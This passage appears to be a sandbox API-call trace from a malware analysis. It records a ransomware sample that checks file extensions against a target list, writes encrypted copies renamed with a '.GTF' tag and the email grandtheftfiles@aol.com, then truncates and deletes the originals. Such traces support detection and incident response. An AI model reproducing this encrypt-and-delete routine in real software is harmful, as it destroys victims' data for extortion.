	[0064.379] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0064.380] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1
	[0064.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.380] lstrlenW (lpString=".doc") returned 4
	[0064.380] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0064.380] lstrlenW (lpString=".docx") returned 5
	[0064.380] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0064.380] lstrlenW (lpString=".pdf") returned 4
	[0064.380] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0064.380] lstrlenW (lpString=".xls") returned 4
	[0064.380] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0064.380] lstrlenW (lpString=".xlsx") returned 5
	[0064.381] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0064.381] lstrlenW (lpString=".ppt") returned 4
	[0064.381] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0064.381] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.381] lstrlenW (lpString=".zip") returned 4
	[0064.381] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0064.381] lstrlenW (lpString=".rar") returned 4
	[0064.381] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0064.381] lstrlenW (lpString=".bz2") returned 4
	[0064.381] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0064.381] lstrlenW (lpString=".7z") returned 3
	[0064.381] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0064.381] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.381] lstrlenW (lpString=".dbf") returned 4
	[0064.381] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0064.381] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.381] lstrlenW (lpString=".1cd") returned 4
	[0064.381] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0064.381] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.381] lstrlenW (lpString=".jpg") returned 4
	[0064.381] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0064.381] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.381] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.381] lstrlenW (lpString=".doc") returned 4
	[0064.381] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0064.381] lstrlenW (lpString=".docx") returned 5
	[0064.381] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0064.381] lstrlenW (lpString=".pdf") returned 4
	[0064.382] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0064.382] lstrlenW (lpString=".xls") returned 4
	[0064.382] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0064.382] lstrlenW (lpString=".xlsx") returned 5
	[0064.382] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0064.382] lstrlenW (lpString=".ppt") returned 4
	[0064.382] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0064.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.382] lstrlenW (lpString=".zip") returned 4
	[0064.382] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0064.382] lstrlenW (lpString=".rar") returned 4
	[0064.382] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0064.382] lstrlenW (lpString=".bz2") returned 4
	[0064.382] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0064.382] lstrlenW (lpString=".7z") returned 3
	[0064.382] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0064.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.382] lstrlenW (lpString=".dbf") returned 4
	[0064.382] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0064.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.382] lstrlenW (lpString=".1cd") returned 4
	[0064.382] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0064.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0064.382] lstrlenW (lpString=".jpg") returned 4
	[0064.382] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0064.382] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0064.383] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0064.383] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0064.416] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=82346) returned 1
	[0064.416] CloseHandle (hObject=0x2f8) returned 1
	[0064.416] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80
	[0064.416] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0064.416] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0064.416] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.416] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.416] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0064.418] GetLastError () returned 0x0
	[0064.418] ReadFile (in: hFile=0x2f8, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x141aa, lpOverlapped=0x0) returned 1
	[0065.111] WriteFile (in: hFile=0x2c0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x141b0, lpOverlapped=0x0) returned 1
	[0065.113] ReadFile (in: hFile=0x2f8, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.113] WriteFile (in: hFile=0x2c0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0065.113] SetEndOfFile (hFile=0x2c0) returned 1
	[0065.114] CloseHandle (hObject=0x2c0) returned 1
	[0065.116] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.116] SetEndOfFile (hFile=0x2f8) returned 1
	[0065.117] CloseHandle (hObject=0x2f8) returned 1
	[0065.117] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0065.117] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1
	[0065.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.135] lstrlenW (lpString=".doc") returned 4
	[0065.135] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0065.135] lstrlenW (lpString=".docx") returned 5
	[0065.135] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0065.135] lstrlenW (lpString=".pdf") returned 4
	[0065.135] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0065.135] lstrlenW (lpString=".xls") returned 4
	[0065.135] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0065.135] lstrlenW (lpString=".xlsx") returned 5
	[0065.135] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0065.135] lstrlenW (lpString=".ppt") returned 4
	[0065.135] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0065.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.135] lstrlenW (lpString=".zip") returned 4
	[0065.135] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0065.135] lstrlenW (lpString=".rar") returned 4
	[0065.135] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0065.135] lstrlenW (lpString=".bz2") returned 4
	[0065.135] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0065.135] lstrlenW (lpString=".7z") returned 3
	[0065.135] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0065.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.136] lstrlenW (lpString=".dbf") returned 4
	[0065.136] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0065.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.136] lstrlenW (lpString=".1cd") returned 4
	[0065.136] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0065.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.136] lstrlenW (lpString=".jpg") returned 4
	[0065.136] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0065.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.136] lstrlenW (lpString=".doc") returned 4
	[0065.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0065.136] lstrlenW (lpString=".docx") returned 5
	[0065.136] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0065.136] lstrlenW (lpString=".pdf") returned 4
	[0065.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0065.136] lstrlenW (lpString=".xls") returned 4
	[0065.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0065.136] lstrlenW (lpString=".xlsx") returned 5
	[0065.136] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0065.136] lstrlenW (lpString=".ppt") returned 4
	[0065.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0065.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.136] lstrlenW (lpString=".zip") returned 4
	[0065.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0065.136] lstrlenW (lpString=".rar") returned 4
	[0065.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0065.136] lstrlenW (lpString=".bz2") returned 4
	[0065.136] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0065.136] lstrlenW (lpString=".7z") returned 3
	[0065.136] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0065.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.136] lstrlenW (lpString=".dbf") returned 4
	[0065.136] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0065.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.137] lstrlenW (lpString=".1cd") returned 4
	[0065.137] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0065.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0065.137] lstrlenW (lpString=".jpg") returned 4
	[0065.137] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0065.137] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0065.137] lstrlenW (lpString="eula.rtf") returned 8
	[0065.137] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0065.137] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3188) returned 1
	[0065.137] CloseHandle (hObject=0x2f8) returned 1
	[0065.137] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80
	[0065.137] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0065.137] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0065.137] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.138] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0065.161] GetLastError () returned 0x0
	[0065.161] ReadFile (in: hFile=0x2f8, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xc74, lpOverlapped=0x0) returned 1
	[0065.175] WriteFile (in: hFile=0x318, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xc80, lpOverlapped=0x0) returned 1
	[0065.176] ReadFile (in: hFile=0x2f8, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.176] WriteFile (in: hFile=0x318, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0065.176] SetEndOfFile (hFile=0x318) returned 1
	[0065.176] CloseHandle (hObject=0x318) returned 1
	[0065.177] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.177] SetEndOfFile (hFile=0x2f8) returned 1
	[0065.178] CloseHandle (hObject=0x2f8) returned 1
	[0065.178] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0065.178] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1
	[0065.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.179] lstrlenW (lpString=".doc") returned 4
	[0065.179] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0065.179] lstrlenW (lpString=".docx") returned 5
	[0065.179] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0065.179] lstrlenW (lpString=".pdf") returned 4
	[0065.179] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0065.179] lstrlenW (lpString=".xls") returned 4
	[0065.179] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0065.179] lstrlenW (lpString=".xlsx") returned 5
	[0065.179] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0065.179] lstrlenW (lpString=".ppt") returned 4
	[0065.179] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0065.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.179] lstrlenW (lpString=".zip") returned 4
	[0065.179] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0065.179] lstrlenW (lpString=".rar") returned 4
	[0065.179] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0065.179] lstrlenW (lpString=".bz2") returned 4
	[0065.179] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0065.179] lstrlenW (lpString=".7z") returned 3
	[0065.179] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0065.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.179] lstrlenW (lpString=".dbf") returned 4
	[0065.179] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0065.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.179] lstrlenW (lpString=".1cd") returned 4
	[0065.179] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0065.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.179] lstrlenW (lpString=".jpg") returned 4
	[0065.179] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0065.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.180] lstrlenW (lpString=".doc") returned 4
	[0065.180] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0065.180] lstrlenW (lpString=".docx") returned 5
	[0065.180] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0065.180] lstrlenW (lpString=".pdf") returned 4
	[0065.180] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0065.180] lstrlenW (lpString=".xls") returned 4
	[0065.180] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0065.180] lstrlenW (lpString=".xlsx") returned 5
	[0065.180] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0065.180] lstrlenW (lpString=".ppt") returned 4
	[0065.180] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0065.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.180] lstrlenW (lpString=".zip") returned 4
	[0065.180] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0065.180] lstrlenW (lpString=".rar") returned 4
	[0065.180] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0065.180] lstrlenW (lpString=".bz2") returned 4
	[0065.180] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0065.180] lstrlenW (lpString=".7z") returned 3
	[0065.180] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0065.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.180] lstrlenW (lpString=".dbf") returned 4
	[0065.180] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0065.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.180] lstrlenW (lpString=".1cd") returned 4
	[0065.180] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0065.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0065.180] lstrlenW (lpString=".jpg") returned 4
	[0065.180] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0065.181] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0065.181] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0065.181] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0065.181] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=77232) returned 1
	[0065.181] CloseHandle (hObject=0x2f8) returned 1
	[0065.181] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80
	[0065.181] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0065.181] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0065.181] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.181] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.181] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0065.182] GetLastError () returned 0x0
	[0065.182] ReadFile (in: hFile=0x2f8, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x12db0, lpOverlapped=0x0) returned 1
	[0065.193] WriteFile (in: hFile=0x318, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x12dc0, lpOverlapped=0x0) returned 1
	[0065.195] ReadFile (in: hFile=0x2f8, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.195] WriteFile (in: hFile=0x318, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0065.195] SetEndOfFile (hFile=0x318) returned 1
	[0065.195] CloseHandle (hObject=0x318) returned 1
	[0065.197] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.198] SetEndOfFile (hFile=0x2f8) returned 1
	[0065.199] CloseHandle (hObject=0x2f8) returned 1
	[0065.199] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0065.199] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1
	[0065.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.199] lstrlenW (lpString=".doc") returned 4
	[0065.199] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0065.199] lstrlenW (lpString=".docx") returned 5
	[0065.199] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0065.199] lstrlenW (lpString=".pdf") returned 4
	[0065.199] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0065.200] lstrlenW (lpString=".xls") returned 4
	[0065.200] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0065.200] lstrlenW (lpString=".xlsx") returned 5
	[0065.200] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0065.200] lstrlenW (lpString=".ppt") returned 4
	[0065.200] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0065.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.200] lstrlenW (lpString=".zip") returned 4
	[0065.200] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0065.200] lstrlenW (lpString=".rar") returned 4
	[0065.200] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0065.200] lstrlenW (lpString=".bz2") returned 4
	[0065.200] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0065.200] lstrlenW (lpString=".7z") returned 3
	[0065.200] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0065.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.200] lstrlenW (lpString=".dbf") returned 4
	[0065.200] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
